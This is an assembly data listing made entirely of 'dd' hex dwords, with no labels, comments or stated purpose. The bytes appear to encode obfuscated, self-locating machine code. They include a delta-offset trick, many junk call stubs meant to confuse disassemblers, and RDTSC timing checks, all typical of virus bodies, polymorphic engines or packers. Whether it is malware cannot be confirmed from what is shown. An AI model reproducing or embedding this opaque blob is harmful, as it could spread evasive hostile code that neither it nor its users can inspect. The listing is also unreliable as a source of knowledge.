		dd 858D0603h, 607A9BAh,	0BE16BB66h, 0E905C083h,	13h, 71026990h
		dd 6074895Fh, 3FC2988Dh, 429DDCECh, 90962984h, 10E850h
		dd 7DE00000h, 2EC73172h, 0E6C08A45h, 1CCC1331h,	5E8D62Bh
		dd 4A000000h, 4C91E2D6h, 6A905B5Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8376C352h
		dd 590AFDB6h, 0ED9D8B3Eh, 6A060304h, 85958900h,	6A06030Bh
		dd 0DEB70F00h, 1DF995FFh, 8D090603h, 6031CF5h, 99338D8Dh
		dd 95290606h, 603004Dh,	0BD8BD1FFh, 6030B19h, 1D89BD83h
		dd 0F010603h, 7685h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 43A3F628h, 9D8BF735h
		dd 6030915h, 0BD8B026Ah, 6031849h, 505B5790h, 28B0Fh, 0F88B0000h
		dd 89958990h, 0FF060309h, 30CFD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0FA6E9A01h
		dd 8830F20h, 50000000h,	2E559D8Bh, 0E95B0603h, 0CC2h, 0E8h
		dd 0ED815D00h, 607A9C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F5C35747h, 0D521495Dh, 0A99589DBh, 8D060321h
		dd 6910085h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0A4EFCE7Ch, 0E910EA88h, 12h, 53557036h
		dd 93E758C9h, 0EA084D78h, 6208B590h, 815752F4h,	0AC05B9E7h
		dd 0F905F66h, 84h, 9CBB5000h, 902319D6h, 148F0Fh, 8E80000h
		dd 0B0000000h, 6F29DFB3h, 8BCE3498h, 3204D9Dh, 0FF645F06h
		dd 35h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1404h, 0C3554500h, 2589646Ch, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1EC35141h
		dd 0B8255867h, 14E9ED76h, 2B000000h, 44DEE88Bh,	0BA7F7122h
		dd 88535E4Fh, 98D58CF3h, 0FF6552BAh, 31D0185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 89DBD190h, 2A8AA758h, 55BD8B54h, 6A060326h, 69B5FFFFh
		dd 8B06030Ch, 31C559Dh,	4D95FF06h, 0E906031Bh, 155h, 5E9h
		dd 0A1DDB200h, 0B08173h, 10E9h,	556E8F00h, 6E5AA921h, 4F4BC8BAh
		dd 0AB454959h, 5770E62Fh, 0CE8h, 0ABB7E500h, 7760BE31h
		dd 5DDE5354h, 61BD8BE4h, 5F060314h, 0BF71E45Fh,	628AAAD2h
		dd 830F613Ch, 109h, 8BC8B60Fh, 320F59Dh, 6BA06h, 95890000h
		dd 60305D9h, 8D89C18Bh,	603143Dh, 0DE8h, 0D749EB00h, 0C443050h
		dd 6C68720Ah, 0EE9F985h, 0D9000000h, 765B778Dh,	2C7336FEh
		dd 155B2CFEh, 0E8C15BE3h, 999D0104h, 66060315h,	660ED0BBh
		dd 8589E2F7h, 60330D5h,	0B589C82Bh, 60326E9h, 9589D18Bh
		dd 6032431h, 6E9h, 39B50900h, 8B06031Bh, 329F585h, 0A800F06h
		dd 0F000000h, 489h, 12BF6600h, 7C083A0h, 14559589h, 0FE8B0603h
		dd 8000C083h, 0D03B6FD3h, 0C830Fh, 62E90000h, 0F000000h
		dd 18Fh, 8D8BF900h, 6031D2Dh, 2D19D01h,	0E1830603h, 46840F01h
		dd 60000000h, 0EE9DE8Bh, 10000000h, 9D81CBFBh, 733F2FD5h
		dd 53AF0247h, 0A58361CBh, 6031D2Dh, 5880FFEh, 0BB000000h
		dd 5E7502F2h, 6800Fh, 0D7810000h, 4722D102h, 29F59589h
		dd 0BD030603h, 6032561h, 0E9h, 0CDB58D00h, 89060710h, 3293DBDh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5FB8C357h, 0F0C331B6h,	0FF88D96Ah
		dd 323A595h, 0BE906h, 0B0E0000h, 7D286FCh, 0AB84962h, 7C4B9B6h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0A9DA9DC3h, 6AFCE183h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E33BC351h
		dd 8B7C9FCFh, 321F99Dh,	0BF0FFC06h, 0F5C02BD8h,	0BAh, 0E9858900h
		dd 0AD060320h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3C0EC352h, 0DAD9D8Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 880DB0C3h, 66000000h
		dd 0C098CB81h, 20A5958Bh, 85290603h, 6032589h, 11E8h, 93579000h
		dd 38FA16E8h, 0EB316E73h, 41A00700h, 9D8B9343h,	6032549h
		dd 658D8B5Bh, 0FC06031Ah, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 9A23B5C3h, 37A17998h, 0EE976h, 95720000h
		dd 43B6D1C5h, 2458401Eh, 4E2D1D60h, 0BD83FB8Bh,	603210Dh
		dd 71840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0DDB1C357h,	8589253Eh
		dd 6030FFDh, 0B8h, 28E0F00h, 8B000000h,	698D8DF9h, 6A06034Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 68C0C356h, 0FE8B66EAh, 0AE8E1FFh,	99000000h
		dd 0E96CACE8h, 0F60E0B10h, 19BD8B39h, 5F060308h, 71BD83h
		dd 0F000603h, 43E84h, 5D9D8900h, 83060326h, 30071BDh, 840F0106h
		dd 446h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0EC35040h, 0BD83F88Bh, 6030071h, 0E5860F03h, 50000003h
		dd 0DE8B605Fh, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0D29AC353h,	907DDEF3h
		dd 0AE96FAEh, 75000000h, 21276C42h, 9D9627CBh, 0FA8B6684h
		dd 0E904E180h, 5, 3956F0FFh, 0FC90A6Eh,	12A84h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0FF3C0C56h, 28C5D26Ch, 2DB5BD8Bh, 858B0603h,	60309ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B5C35040h
		dd 0B8125759h, 0D52C608Dh, 598533B8h, 8B06031Ah, 318759Dh
		dd 0DFBF0F06h, 0B90BBF90h, 90500708h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 12C35545h, 0BE93EDFh, 70000000h
		dd 64287B95h, 6EA445C8h, 6A3C9Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 24C35343h, 0C4710C68h, 81FB8BE9h
		dd 92F32404h, 0F60165Ah, 5E52F3B7h, 7195FF61h, 8906032Eh
		dd 6A70385h, 0E9F56006h, 14h, 0A6172511h, 428F5F47h, 1C79BD8Eh
		dd 0CE01CC06h, 5A77361Ah, 232E961h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E31A9DC3h
		dd 0AD8F501Ch, 8E943EAh, 35000000h, 0E0089377h,	8B2708E0h
		dd 6A6FB85h, 0DA8B6606h, 1800C7h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 2931F4C3h
		dd 30F01B5h, 0FFB58B06h, 8B0606A6h, 31F8985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 89BEC291h, 0BC10BB06h, 858B6A04h, 60309ADh, 0CE9h, 897F1600h
		dd 8B77BD54h, 0A8E6F944h, 446897Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0AC35545h, 12A11AABh, 0DEBF0F12h
		dd 12E96050h, 7A000000h, 0B96C9C7Eh, 2F11D9E5h,	87A8323Bh
		dd 0B91FB86h, 0EE96079h, 8000000h, 0A6075686h, 21AB2B7h
		dd 5A8E6984h, 615B578Dh, 24348961h, 5850Fh, 81660000h
		dd 0FFDB36CBh, 6A6FBB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 64F45C7Fh, 0C4C406E4h
		dd 6B3F68F5h, 52501231h, 0A478B0BFh, 5A310F6Ch,	24348158h
		dd 122E68C0h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0B2C35141h, 8E9h, 0FF861300h, 8C7EEA76h, 3858D76h
		dd 6A0606A7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0CFE8C357h, 0B20379CAh, 0F8AC0A2Eh
		dd 14E95690h, 4E000000h, 38E119h, 3B18EE0Ah, 2D533925h
		dd 8045DCB4h, 5BC1BE20h, 0FB66050h, 157BBA60h, 11E94A80h
		dd 52000000h, 57458DE7h, 0A3A12D6Eh, 0A9046414h, 81E81427h
		dd 6A906161h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 159CC351h, 0B529AD3Eh,	603195Dh
		dd 2E7195FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0EB73A3C3h, 0F98BB68Ah, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD3325F5h, 6032949h, 7185C7h, 30603h, 9D330000h, 60302C9h
		dd 0A703BD83h, 0F000606h, 2784h, 13E800h, 5F5B0000h, 0DA4E0E33h
		dd 8BC547FCh, 582FF72h,	21CED6CEh, 6D9589ACh, 5B060319h
		dd 1EE9h, 0C9E38000h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6F6DC350h, 10F976DCh, 943DFD3Bh, 3018589h, 11E80603h
		dd 1E000000h, 0FF17549Bh, 92804791h, 72B00C2Ah,	0E6A774A6h
		dd 0D178EB81h, 8A5F3035h, 71BD83F8h, 3060300h, 338850Fh
		dd 0F530000h, 686h, 8B0F00h, 5F000000h,	0A703BD83h, 0F000606h
		dd 31D84h, 91BD0B00h, 0FF060321h, 6A703B5h, 0E9BD8B06h
		dd 0FF060304h, 32A7595h, 0F7B58B06h, 0C70606A6h, 1000106h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A69C1839h, 0FB8B96CEh, 0C18B6050h, 0FEE8A60h
		dd 88h,	96616100h, 17A98589h, 0B5FF0603h, 606A703h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 54FEA495h
		dd 0B8DA0248h, 2D298529h, 9D890603h, 6032149h, 244995FFh
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 816600C3h, 8BB635C3h, 6A6F7B5h, 68D0F06h
		dd 31000000h, 31A1DB5h,	31858B06h, 53060331h, 8AC4DB81h
		dd 815F168Eh, 493360F3h, 0C4868953h, 8B000000h,	314B19Dh
		dd 0A5958B06h, 83060320h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0A8C983C3h, 0CE904h
		dd 3DCB0000h, 0D137B2C2h, 10365DD0h, 9D8BE23Eh,	6031DF5h
		dd 66205089h, 8D6C62BBh, 6BB1685h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 7B2E251Eh
		dd 0D1C3818Bh, 8905E58Bh, 0B886h, 59BD8B00h, 6606030Eh
		dd 6AFA8Bh, 10E9h, 0B09BFA00h, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h
		dd 0FFB3B3ECh, 6A703B5h, 51DF8B06h, 0EF78166h, 95FF5B5Dh
		dd 6030CFDh, 1AF9B531h,	52500603h, 2434895Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h, 9D8BF1A6h
		dd 6030E75h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 25A95C3h, 7C34D644h
		dd 0FFDF8B2Eh, 32E7D95h, 0D5B58906h, 83060304h,	326C9BDh
		dd 840F0006h, 3Ah, 6050FA8Bh, 5E951h, 0E0820000h, 5F28879Ah
		dd 24348961h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0ADC35747h, 0F28B4569h,	0E7D9D89h, 0B5FF0603h
		dd 606A703h, 2C9AEF81h,	95FF5841h, 60314B9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 47C35141h, 0BCB3BF91h
		dd 8555EA87h, 20118D89h, 0B5FF0603h, 606A703h, 0C4DBD89h
		dd 95FF0603h, 6030C95h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 4EC35242h, 1DC679E7h,	4CEB81A3h, 837247D5h
		dd 32D4DBDh, 840F0206h,	42h, 2609BD89h,	858B0603h, 60323EDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 31C35242h
		dd 664492E2h, 5FD54D9Fh, 0F1BD89CDh, 0B7060315h, 0C68Dh
		dd 242DBD8Bh, 85C70603h, 6033081h, 0
		dd 2FA18589h, 88E90603h, 66FFFFF4h, 8B18DABFh, 8E9C1h
		dd 0B3DB0000h, 0ACB00618h, 858D80D4h, 6031309h,	8480BF66h
		dd 50D98B90h, 90DF8B66h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 81C35646h, 0E9BD8901h, 6A06031Ah, 7E900h
		dd 0FAA10000h, 6A349469h, 6A006A35h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9479C352h
		dd 1FB37044h, 858D13E3h, 607B8A6h, 7E8h, 0D8679E00h, 0E03A0CD4h
		dd 68E38166h, 0C0835B24h, 0FABF0F05h, 0EE8h, 0C59F6E00h
		dd 0E7AA5693h, 7B7A9895h, 60EEAF67h, 8A0Fh, 858B0000h
		dd 6031BD9h, 0E9505B61h, 9, 0EB92731Ch,	0C0AC3C6Bh, 24048928h
		dd 108F0Fh, 7E80000h, 1E000000h, 0E46E1C21h, 0E7801370h
		dd 6A5BD1h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	0EC35747h, 6A006ADEh, 3E85000h,	20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0E5C0C350h,	95FF7C6Ah
		dd 6031DF9h, 1E8F0Fh, 13E80000h, 0C4000000h, 13B0F3ECh
		dd 0D25875Dh, 0EFACF9DAh, 414662B2h, 81663AA9h,	5BFAAEDFh
		dd 99338D8Dh, 8B0F0606h, 0Ch, 6830Fh, 0BD890000h, 6032441h
		dd 0FFF8B70Fh, 0C59D8BD1h, 8306030Dh, 31D89BDh,	850F0106h
		dd 0BBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0DFC35343h, 8C1DB9F4h, 7D76C8DFh, 32DF8166h, 0FC026A54h
		dd 14E890h, 89F40000h, 0FAFAC8C3h, 73B7BD14h, 7FB11B5Fh
		dd 0CEDCA7FAh, 0E8600A0Fh, 13h,	0FA68F091h, 8074699Ah
		dd 370F11B9h, 0B8CA0C84h, 5E0BF395h, 0FAC5B966h, 60505F61h
		dd 0DE9h, 8BC31200h, 90737A60h,	18E28784h, 0C58A623Fh
		dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0C4F872C3h, 0DF8BF2C6h, 0CFD95FFh, 9E80603h
		dd 0A1000000h, 3C924AA4h, 73E2D805h, 0CE19D23h,	0E95B0603h
		dd 0CBFh, 0E8h,	0ED815D00h, 607B8B0h, 12E99D8Bh, 95290603h
		dd 6031869h, 858D51B7h,	6069100h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 81C35747h, 90F9BCADh, 0F504DB7h
		dd 128Eh, 0DE900h, 4F080000h, 196F503Ch, 52B355D0h, 90E6A644h
		dd 0FDEB8166h, 35FF649Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 60C35343h
		dd 8E613933h, 5FCFA322h, 258964h, 8B000000h, 185FFDFh
		dd 0F06031Dh, 68Dh, 0B99D0B00h,	6606032Dh, 6AD4B6BFh, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0FFCEA574h, 31CA9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0DCABF4E1h, 0BF0F5F12h
		dd 4D95FFFEh, 0E906031Bh, 134h,	816000B0h, 8A0DD5D7h, 6D9D2920h
		dd 61060323h, 2D21B589h, 70E60603h, 0E4F8BF0Fh,	13E971h
		dd 0BF4C0000h, 8C0D6FC4h, 0BF10BDAFh, 272ED978h, 0C93E9943h
		dd 0F613C9Dh, 0F783h, 0C8B60F00h, 0EE9h, 32325500h, 60183D19h
		dd 78CACCC1h, 575FB2BAh, 29B18D31h, 0BA5B0603h,	6, 0E927BF66h
		dd 2AD59D8Bh, 0C18B0603h, 10E8h, 0DE342800h, 46C620F8h
		dd 3C40226Dh, 0F28597D3h, 852960D8h, 6030FD1h, 5F615B56h
		dd 2904E8C1h, 31A8D9Dh,	0E2F76606h, 0D781C82Bh,	30109ABBh
		dd 8D0FD18Bh, 6, 8A43CF81h, 81E958EEh, 0F000000h, 858BDEBFh
		dd 8, 83FFBF0Fh, 9D8B07C0h, 60320C9h, 8B00C083h, 0FD03BDAh
		dd 1D83h, 81BD8B00h, 81060300h,	4A33D9F7h, 4EE94Ch, 880F0000h
		dd 6, 69D9D29h,	8D8B0603h, 0FFFFFFFFh, 1800Fh, 83F50000h
		dd 840F01E1h, 2Ch, 9DBD8957h, 5B060313h, 0FFFFA583h, 8BFEFFFFh
		dd 324399Dh, 8958906h, 0F000000h, 687h,	0F59D8B00h, 0E906030Bh
		dd 0
		dd 37D0B58Dh, 9D8B0607h, 6031305h, 0B589006Ah, 6031C51h
		dd 23A595FFh, 0BD8B0603h, 60324CDh, 0FC1B9h, 0D8B70F00h
		dd 89FCE183h, 32FA985h,	48BBFC06h, 0B8502C6Ch, 0
		dd 4BD78166h, 6AD22B1Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 589C355h, 0FA68F83h
		dd 3344BB72h, 32151BDh,	0C3816606h, 0F7812213h,	75C38FBDh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6F99D8Bh,	0B5090603h
		dd 60330F9h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8F0F4158h, 3, 8BFEBF0Fh
		dd 320A595h, 0DE8B6606h, 1A658D8Bh, 0FE8A0603h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 10E95818h,	77000000h
		dd 0D9BFB729h, 2CD9968Bh, 4BFD51FCh, 0F7A2562h,	683h, 0F99D8900h
		dd 8306032Bh, 3210DBDh,	840F0006h, 7Fh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 32C35242h, 8258FEC0h
		dd 8BA4DF18h, 32C51BDh,	0B806h,	95290000h, 6032119h, 4D698D8Dh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C3F3EDC3h, 1CD14BBAh, 0BD099CFEh, 60315D9h
		dd 0F88BE1FFh, 12E9h, 0D84E600h, 816DFF43h, 714218AFh
		dd 3F5BEE9Fh, 83C3BBCFh, 30071BDh, 840F0006h, 4B4h, 0BDD9BF66h
		dd 735BD8Bh, 0BD830603h, 6030071h, 0B8840F01h, 8B000004h
		dd 329CD9Dh, 71BD8306h,	3060300h, 46F860Fh, 6A600000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 8E6CC357h, 58E0Fh, 0EBB0000h, 0BB147382h
		dd 393C362Ah, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0D40EC356h,	172DB589h
		dd 0E1800603h, 0DE904h,	2E880000h, 0B1A956E0h, 5E67F41Dh
		dd 0E94A5B7Bh, 7, 636F7A64h, 0A4876ADh,	93840FC9h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C06BC351h, 8D6116B1h, 0D3B008Fh,	5D9D0152h
		dd 5B060329h, 8BD8BF0Fh, 309AD85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1EEEB8EDh
		dd 143D9D8Bh, 85330603h, 6031A59h, 11870Fh, 8E0F0000h
		dd 0Bh,	5E8h, 0DAAFB300h, 505B47A3h, 52505250h,	310F6160h
		dd 5E9h, 0DBD8F400h, 585A03A6h,	0E2BB310Fh, 5A4C0242h
		dd 24048958h, 6AF98Bh, 0D250BB66h, 4E8h, 1F03FF00h, 9DBB6600h
		dd 11E950A3h, 93000000h, 9B6E3DFFh, 0DBA4A084h,	5EBB412h
		dd 3929B19Dh, 424448Bh,	60DA8B60h, 525002B2h, 585A310Fh
		dd 8B6161h, 38C0F56h, 66000000h, 895FDE8Bh, 0E8042444h
		dd 0Dh,	3C99616Ah, 0BA58C6FAh, 0E171D12h, 5052500Ah, 5A310F52h
		dd 52310F58h, 5B585A5Bh, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 8764B514h, 0CF816602h
		dd 8D8979BDh, 60322C1h,	2E7195FFh, 6E90603h, 0FD000000h
		dd 50994D9Bh, 38589E2h,	6A0606A7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A47BC350h
		dd 316BAE54h, 3865897Eh, 219DBD89h, 31570603h, 30D05B5h
		dd 0C4E95F06h, 0E9000001h, 0Ah,	0C413C97Ch, 21BBA73h, 858B073Bh
		dd 606A6FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3EC35141h, 857FC258h, 10B2252Ah, 23F18589h, 0C70603h
		dd 18h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 4CC35242h, 0BD0B6EE3h, 60332C5h, 0A6FFB58Bh,	6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 833C90C3h, 480B5AB4h, 719D0183h, 8B06030Ch, 31F8985h
		dd 689FC06h, 54C78166h,	0AD858B03h, 8B060309h, 44689F9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1FC35646h
		dd 40379BCFh, 89394D3Bh, 312E9BDh, 0E8535006h, 0Ah, 673768A3h
		dd 0FD80986Bh, 0EE839E4h, 94000000h, 98FB9FA4h,	8D7CE9F0h
		dd 881A20FCh, 5F5F5F30h, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4845C355h
		dd 0BBF3810Dh, 0FF38F683h, 6A6FBB5h, 38BB6606h,	426A6876h
		dd 0DF8BB7F0h, 95240481h, 0E8482EC1h, 0Eh, 0E72A8FB7h
		dd 4F0CD715h, 5646B110h, 0CCB7FDC7h, 3858D5Bh, 6A0606A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 8B9DC355h, 2CD0DAAAh, 0F0634425h,	6880Fh
		dd 85890000h, 6032C21h,	898FB750h, 800F2404h, 5, 0CBF38166h
		dd 0FFFA8B90h, 32E7195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 6115D9E1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 2C35040h, 0F3C8B28Dh
		dd 5D1B24Ch, 7185C71Bh,	3060300h, 89000000h, 31C0D9Dh
		dd 3BD8306h, 606A7h, 67840Fh, 6E80000h,	98000000h, 661CD9E6h
		dd 10E867h, 0B00D0000h,	7A9A75ADh, 51B940C5h, 4E7B0310h
		dd 0D88B807Dh, 59E95F5Bh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 164C356h
		dd 0EBB6C36h, 1297AA26h, 14E9h,	7A46CD00h, 0A36E7519h
		dd 33712E7Bh, 0FC4DFF8h, 0C35979A0h, 0C305018h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 6ADEBF0Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 6344C351h, 8A24CAF0h, 2D299D8Bh, 0BD830603h,	6030071h
		dd 0BD850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 82ADC353h, 0B37F40DBh
		dd 0BB66EEFCh, 0BD838FC7h, 606A703h, 89840F00h,	0FF000003h
		dd 6A703B5h, 3FBF6606h,	7595FF45h, 6A06032Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0CC6EC350h, 8DD8E669h, 81AE4900h, 0D2F2F1DFh, 0F7B58B5Eh
		dd 8B0606A6h, 302C19Dh,	106C706h, 0E9000100h, 0Bh, 2FE09D9Ah
		dd 2FB1EBD0h, 964CCE5Bh, 6E850h, 29C40000h, 0D0F47D6h
		dd 428AFABFh, 6A965F74h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0B9DC353h, 39FE03E5h
		dd 0B5FF0706h, 606A703h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 76C35141h, 62CDC3FCh,	4995FF87h, 80060324h
		dd 0B58BB8EFh, 606A6F7h, 8BD98B66h, 3313185h, 59858906h
		dd 89060306h, 0C486h, 6820F00h,	89000000h, 3209D8Dh, 0A5958B06h
		dd 89060320h, 307D18Dh,	4C28306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 79C35646h, 10D0EE32h, 0B9A621C8h
		dd 5089F5CFh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8BA64BD1h, 659D8BFAh, 8D06031Dh
		dd 6BB1685h
		dd 0B8868906h, 0E9000000h, 5, 65C01F5Ah, 6AF8B9h, 12E9h
		dd 0C185C400h, 0FAC9D53Fh, 0E96B26C1h, 8EF38255h, 666DC87Ch
		dd 242BE781h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 74DF28C3h, 0E77AAC6Eh
		dd 2209BD8Bh, 95FF0603h, 6030CFDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0F4C35545h,	230BB31Ch, 0AFD31490h
		dd 3E52DF81h, 6696336Dh, 0B750FA8Bh, 0DF8B96BDh, 63E1BF66h
		dd 0A703B5FFh, 0BD890606h, 6031B49h, 2E7D95FFh,	6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4B2334C3h, 68F0F18h,	89000000h, 324C5BDh, 0C9BD8306h
		dd 60326h, 5A840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0D6160CC3h, 58DAA226h
		dd 6050CF1Eh, 0D68B6660h, 61F98B66h, 7E9h, 0D844BC00h
		dd 0AF87A78Bh, 24348961h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 77C35242h, 0A703B5FFh, 6A0606h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 9F95ACC3h, 0E5FC40E2h, 14E9EEh, 6D630000h, 7D67E99Dh
		dd 57CDD67Fh, 95675126h, 9E64818h, 95FFBCA3h, 60314B9h
		dd 1BE78166h, 3B5FF07h,	6A0606A7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 210AC357h
